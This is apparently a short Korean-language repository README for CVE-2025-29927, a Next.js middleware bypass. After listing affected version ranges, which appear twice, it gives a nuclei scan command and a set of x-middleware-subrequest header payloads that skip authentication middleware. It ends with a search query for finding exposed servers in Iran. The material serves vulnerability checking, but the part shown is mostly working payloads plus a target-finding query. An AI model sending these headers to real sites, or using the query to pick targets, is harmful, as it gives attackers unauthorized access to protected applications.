kh4sh3i/cve-2025-29927CVE-2025-29927: Next.js 미들웨어 우회 취약점
CVE-2025-29927: Next.js 미들웨어 우회 취약점 이 저장소는 Next.js에서 내부 헤더 x-middleware-subrequest를 사용하여 인증과 같은 미들웨어 검사를 우회할 수 있는 CVE-2025-29927 취약점을 보여줍니다.
Next.js 15.x < 15.2.3
Next.js 14.x < 14.2.25
Next.js 13.x < 13.5.9
Next.js 15.x < 15.2.3
Next.js 14.x < 14.2.25
Next.js 13.x < 13.5.9
nuclei -u https://example.com -t ./CVE-2025-29927.yaml -fr
x-middleware-subrequest: pages/_middleware
x-middleware-subrequest: pages/dashboard/_middleware
x-middleware-subrequest: pages/dashboard/panel/_middleware
x-middleware-subrequest: middleware
x-middleware-subrequest: src/middleware
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware
header="x-middleware-rewrite" && country="IR"